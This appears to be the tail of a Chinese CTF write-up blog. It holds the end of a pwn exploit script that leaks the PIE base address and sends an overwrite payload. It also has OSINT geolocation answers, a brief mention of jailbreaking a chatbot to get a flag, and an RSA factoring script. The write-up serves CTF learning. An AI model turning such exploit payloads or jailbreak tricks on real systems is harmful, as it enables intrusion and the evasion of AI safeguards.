game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61 
game(b'1')#44 
game(b'1')#45  
game(b'1')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61   
game(b'1')#44 
game(b'1')#45  
game(b'1')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61  
game(b'1')#44 
game(b'0')#45  
game(b'1')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61 
game(b'1')#44 
game(b'1')#45  
game(b'1')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59  
game(b'2')#60    +
game(b'2')#61 
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61 
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57 
game(b'1')#58   
game(b'1')#59   
game(b'2')#60   
game(b'2')#61 2
game(b'2')#60 1  
game(b'1')#61 
game(b'1')#53   
game(b'1')#54   
game(b'2')#55 
game(b'1')#56 
game(b'1')#57  
game(b'2')#58  
game(b'2')#59   0x2a+2
game(b'2')#60   
game(b'2')#61
game(b'2')#60  
game(b'2')#61  
game(b'0')#61  
game(b'0')#61  
game(b'1')#61
game(b'1')#61   
game(b'1')#61 

show()
ru(b'120101111001111111111111111111111111111110011111111111111111101111110011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011111111111111111111111111111111221111111111111111122211121122222200111')
pie = u64(r(6).ljust(8,b'\x00')) - 0x4c13-0x4d
print("pie=============>",hex(pie))

cmd(4)
payload = p64(0)+p64(0x1321d09b61df000)+p64(0)*2+p64(pie+0x57B0)+p64(pie+0x2517)
sla(b'Tell me your favorite number.\n',payload)
inter()

Misc

ONIST

此三栋建筑较为明显,为地标建筑,进行百度识图查找

查询上海市内的所有百安居进行排查,最终找到地点经纬度:121.567488 , 31.210267

图中可以发现机场指挥塔,判断在机场附近,同时识图得到了一张照片

搜索附近相关地点可以得到

得到经纬度为<strong>103.964337 , 30.571911</strong>

根据图片可以定位到浙江省内

可以分辨出其为 IKEA,即宜家公司。搜索浙江的在高速公路旁的宜家

排查后得到地点 120.292715 , 30.346957

由特殊路杆和黄色出租车可以判断其在重庆市内

是一个大回环,且有多层交通,应当为立交大桥,,查询重庆市市公交路线与立交桥地点,同时分辨周围是否有此未完成的大楼

遍历排查后得到此地点为

一种很奇怪的灯笼,比较特殊,放到百度识图。得到

同时注意到有一高塔,应为寺庙所在底

问一下南京的朋友,确定为大报恩寺,根据视角推断为

得到坐标为<strong>118.783791 , 32.013237</strong>

搜索一下这个桥头堡,发现很多东西

看一下,可以马上确定这就是橘子洲头的桥,确定坐标为

一个很宽阔且地平线上几乎没有建筑物的大桥,首先可以判断为跨江大桥类型。

5 说明其为刚上大桥不远的地方,将长江和黄河的所有大桥都看一遍,得到 121.734641 , 31.412395

第九张图也是一座桥,但两岸建筑物较多,应为城市内的桥,截图进行搜索

https://wuhan.news.fang.com/open/30018405.html

在此文中发现其为天兴洲长江大桥,根据视角得到坐标 114.413348 , 30.659417

可以判断在浙江省内,且图中出现了五条铁路线,很密集,应该也是一个 hint

在杭州市内沿铁路线排查,得到

Givemesecret

发送以上内容,可以实现越狱,拿到 flag 之后,用 flag{}包起来直接提交。

Crypto

EasyRSA

参考:<u>https://f61d.github.io/crypto/RSA/huwangbei2019_Crypto1/</u>

根据文章中的介绍,先计算 a*b 和 a+b

已知 N 和 g,就可以计算 u 和 v:

h = (N-1)//(g)

u = h//(g)

v = h%(g)

找到一个大于 sqrt(C)的整数 D,并形成列表 b^0.b^D,b^2D,…b^{D^2}<strong>,b^u,b^{u-1},…b^{u-D}</strong> 对这些列表进行排序,并找到一个共同的值 b^rD ≡ b^uD mod N,并且 c 是 rD+s

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#encoding:utf-8
from Crypto.Util.number import bytes_to_long,long_to_bytes
from gmpy2 import *

# N = pq 2050bit; p 1025 bit; q 1025 bit
N=33345797477996906018692262914610508102026582034893327885915914813506488873503761821615779713218357561299379915558521648989343958370112022814936179720139127423461340207405078956819284424200345835722989592139409104892172952109208348156704709633302884053412314611533204292411859556769532987717039902246214010747682135866934417165378375359677341343454447585415612712377503848051016631502169149465141544920356843458345904950100784811274848354586390804480090310430075738101652127698893841354552562554241790379814299628382628589674676171345857791666428512339717299315091587225667575715831663789545456319386861424259804400243
e=65537
g=2814576950833012743062729626301663790675756373249308491946015205369443973495883865551071583906281018240961905156032228383055991864080421957481724196783
C=29483462046167625852230730944849768826610236352492706521040474730846492207997848269724347604896480486429373021242651602968011418796344907004377237927906821549776628568540526980604143013575167381998472550365396230479958265233643856110253060979613679770520287594327234162940940201152160079706223456133677904710619875902050250031675999537210502117254834221170924304719756632469260131119481356975317605904195086870549996825635100738063907460641069899833328373626084293344892041183804747852868062674703732754983599688172273807002325468389059946739090536321154708322443388177479835761008903898773284960694280293330050786379
h = (N-1)//(g)
u = h//(g)
v = h%(g)

def Solve_c():
    sqrt_N = iroot(mpz(N),2)[0]
    C = int(div(sqrt_N,pow(g,2)))

    a = 2
    b = powmod(a,g,N)

    for i in range(2,C):
        D = (iroot(C,2)[0] + 1) * i
        final = powmod(b,u,N)
        for r in range(D):
            print (r*D)
            for s in range(D):
                if powmod(b,r*D+s,N) == final:
                    #print "r =",r,"s =",s,"i =",i #r = 5168 s = 2145 i = 2
                    return r * D + s

c = Solve_c()
A = u - c # x * y = u - c
B = v + c*g # x + y = v + c*g

delta = iroot((B*B-4*A),2)[0]
x = (B+delta)//2
y = (B-delta)//2

a = x//2
b = y//2

p = int(2*g*a + 1)
q = int(2*g*b + 1)

d = invert(e,(p-1)*(q-1))
m = powmod(C,d,N)
print (long_to_bytes(m))

将文章中的代码修改成 python3 之后,带入数据运行,大概 30 分钟之后,可以得到结果。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计